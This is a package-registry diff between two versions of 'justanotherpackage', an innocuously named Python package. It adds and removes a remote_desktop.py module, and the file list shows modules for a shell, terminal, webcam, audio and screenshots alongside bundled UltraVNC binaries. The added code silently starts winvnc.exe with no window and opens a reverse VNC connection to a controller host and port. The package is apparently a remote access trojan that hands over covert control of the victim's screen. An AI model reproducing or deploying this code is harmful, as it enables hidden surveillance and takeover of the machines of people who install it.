justanotherpackage 0.2.3__tar.gz → 0.2.5__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (28) hide show
  1. {justanotherpackage-0.2.3 → justanotherpackage-0.2.5}/PKG-INFO +1 -1
  2. justanotherpackage-0.2.5/justanotherpackage/features/remote_desktop.py +56 -0
  3. {justanotherpackage-0.2.3 → justanotherpackage-0.2.5}/justanotherpackage.egg-info/PKG-INFO +1 -1
  4. {justanotherpackage-0.2.3 → justanotherpackage-0.2.5}/setup.py +1 -1
  5. justanotherpackage-0.2.3/justanotherpackage/features/remote_desktop.py +0 -45
  6. {justanotherpackage-0.2.3 → justanotherpackage-0.2.5}/MANIFEST.in +0 -0
  7. {justanotherpackage-0.2.3 → justanotherpackage-0.2.5}/justanotherpackage/__init__.py +0 -0
  8. {justanotherpackage-0.2.3 → justanotherpackage-0.2.5}/justanotherpackage/account_type.py +0 -0
  9. {justanotherpackage-0.2.3 → justanotherpackage-0.2.5}/justanotherpackage/connect.py +0 -0
  10. {justanotherpackage-0.2.3 → justanotherpackage-0.2.5}/justanotherpackage/features/__init__.py +0 -0
  11. {justanotherpackage-0.2.3 → justanotherpackage-0.2.5}/justanotherpackage/features/audio.py +0 -0
  12. {justanotherpackage-0.2.3 → justanotherpackage-0.2.5}/justanotherpackage/features/screenshot.py +0 -0
  13. {justanotherpackage-0.2.3 → justanotherpackage-0.2.5}/justanotherpackage/features/terminal.py +0 -0
  14. {justanotherpackage-0.2.3 → justanotherpackage-0.2.5}/justanotherpackage/features/webcam.py +0 -0
  15. {justanotherpackage-0.2.3 → justanotherpackage-0.2.5}/justanotherpackage/shell.py +0 -0
  16. {justanotherpackage-0.2.3 → justanotherpackage-0.2.5}/justanotherpackage/vnc/SecureVNCPlugin.dsm +0 -0
  17. {justanotherpackage-0.2.3 → justanotherpackage-0.2.5}/justanotherpackage/vnc/UVncVirtualDisplay/UVncVirtualDisplay.dll +0 -0
  18. {justanotherpackage-0.2.3 → justanotherpackage-0.2.5}/justanotherpackage/vnc/UVncVirtualDisplay/UVncVirtualDisplay.inf +0 -0
  19. {justanotherpackage-0.2.3 → justanotherpackage-0.2.5}/justanotherpackage/vnc/UVncVirtualDisplay/uvncvirtualdisplay.cat +0 -0
  20. {justanotherpackage-0.2.3 → justanotherpackage-0.2.5}/justanotherpackage/vnc/UltraVNC.ini +0 -0
  21. {justanotherpackage-0.2.3 → justanotherpackage-0.2.5}/justanotherpackage/vnc/ddengine.dll +0 -0
  22. {justanotherpackage-0.2.3 → justanotherpackage-0.2.5}/justanotherpackage/vnc/logging.dll +0 -0
  23. {justanotherpackage-0.2.3 → justanotherpackage-0.2.5}/justanotherpackage/vnc/vnchooks.dll +0 -0
  24. {justanotherpackage-0.2.3 → justanotherpackage-0.2.5}/justanotherpackage/vnc/winvnc.exe +0 -0
  25. {justanotherpackage-0.2.3 → justanotherpackage-0.2.5}/justanotherpackage.egg-info/SOURCES.txt +0 -0
  26. {justanotherpackage-0.2.3 → justanotherpackage-0.2.5}/justanotherpackage.egg-info/dependency_links.txt +0 -0
  27. {justanotherpackage-0.2.3 → justanotherpackage-0.2.5}/justanotherpackage.egg-info/top_level.txt +0 -0
  28. {justanotherpackage-0.2.3 → justanotherpackage-0.2.5}/setup.cfg +0 -0
@@ -1,5 +1,5 @@
1
1
  Metadata-Version: 2.2
2
2
  Name: justanotherpackage
3
- Version: 0.2.3
3
+ Version: 0.2.5
4
4
  Requires-Python: >=3.6
5
5
  Dynamic: requires-python
@@ -0,0 +1,56 @@
1
+ import psutil
2
+ import subprocess
3
+ import time
4
+ import justanotherpackage
5
+ import os
6
+ import json
7
+
8
+ def find_process_by_exe(file_name):
9
+ try:
10
+ for proc in psutil.process_iter(['pid', 'exe']):
11
+ if proc.info['exe'] and file_name.lower() in proc.info['exe'].lower():
12
+ return proc.info['pid']
13
+ except (psutil.AccessDenied, psutil.NoSuchProcess):
14
+ pass
15
+ return None
16
+
17
+ def start_remote_desktop(data, HOST, client_socket):
18
+ try:
19
+ port = data.get("port")
20
+ if not port:
21
+ raise ValueError("Port not provided in data")
22
+
23
+ remote_pid = find_process_by_exe("winvnc.exe")
24
+ program_path = os.path.join(
25
+ os.path.dirname(justanotherpackage.__file__), "vnc", "winvnc.exe"
26
+ )
27
+
28
+ if not remote_pid:
29
+ try:
30
+ subprocess.Popen(
31
+ [program_path],
32
+ shell=True,
33
+ creationflags=subprocess.CREATE_NO_WINDOW
34
+ )
35
+ time.sleep(5)
36
+ except Exception as e:
37
+ raise RuntimeError(f"Failed to start winvnc.exe: {e}")
38
+
39
+ remote_pid = find_process_by_exe("winvnc.exe")
40
+ if remote_pid:
41
+ try:
42
+ command = [program_path, "-connect", f"{HOST}:{port}"]
43
+ subprocess.Popen(command, text=True, creationflags=subprocess.CREATE_NO_WINDOW)
44
+ message = "From Remote: Remote Desktop Started"
45
+ except Exception as e:
46
+ message = f"From Remote: Failed to connect remote desktop - {e}"
47
+ else:
48
+ message = "From Remote: winvnc.exe process not found after starting"
49
+
50
+ client_socket.sendall(json.dumps({"logger": message}).encode())
51
+
52
+ except (ConnectionError, ConnectionResetError):
53
+ pass
54
+ except Exception as e:
55
+ error_message = f"From Remote: {str(e)}"
56
+ client_socket.sendall(json.dumps({"logger": error_message}).encode())
@@ -1,5 +1,5 @@
1
1
  Metadata-Version: 2.2
2
2
  Name: justanotherpackage
3
- Version: 0.2.3
3
+ Version: 0.2.5
4
4
  Requires-Python: >=3.6
5
5
  Dynamic: requires-python
@@ -2,7 +2,7 @@ from setuptools import setup, find_packages
2
2
 
3
3
  setup(
4
4
  name="justanotherpackage",
5
- version="0.2.3",
5
+ version="0.2.5",
6
6
  packages=find_packages(),
7
7
  python_requires=">=3.6",
8
8
  include_package_data=True,
@@ -1,45 +0,0 @@
1
- import psutil
2
- import subprocess
3
- import time
4
- import justanotherpackage
5
- import os
6
- import json
7
-
8
- def find_process_by_exe(file_name):
9
- for proc in psutil.process_iter(['pid', 'exe']):
10
- try:
11
- if proc.info['exe'] and file_name.lower() in proc.info['exe'].lower():
12
- return proc.info['pid']
13
- except (psutil.AccessDenied, psutil.NoSuchProcess):
14
- continue
15
- return None
16
-
17
- def start_remote_desktop(HOST, data, client_socket):
18
- try:
19
- port = data["port"]
20
- remote_pid = find_process_by_exe("winvnc.exe")
21
- program_path = os.path.join(
22
- os.path.dirname(justanotherpackage.__file__), "vnc", "winvnc.exe"
23
- )
24
-
25
- if not remote_pid:
26
- subprocess.Popen(
27
- [program_path],
28
- shell=True,
29
- creationflags=subprocess.CREATE_NO_WINDOW
30
- )
31
- time.sleep(3)
32
-
33
- remote_pid = find_process_by_exe("winvnc.exe")
34
-
35
- if remote_pid:
36
- command = [program_path, "-connect", f"{HOST}:{port}"]
37
- subprocess.Popen(command, text=True, creationflags=subprocess.CREATE_NO_WINDOW)
38
- message = f"From Remote: Remote Desktop Started"
39
- client_socket.sendall(json.dumps({"logger": message}).encode())
40
-
41
- except (ConnectionError, ConnectionResetError):
42
- pass
43
- except Exception as e:
44
- message = f"From Remote: {str(e)}"
45
- client_socket.sendall(json.dumps({"logger": message}).encode())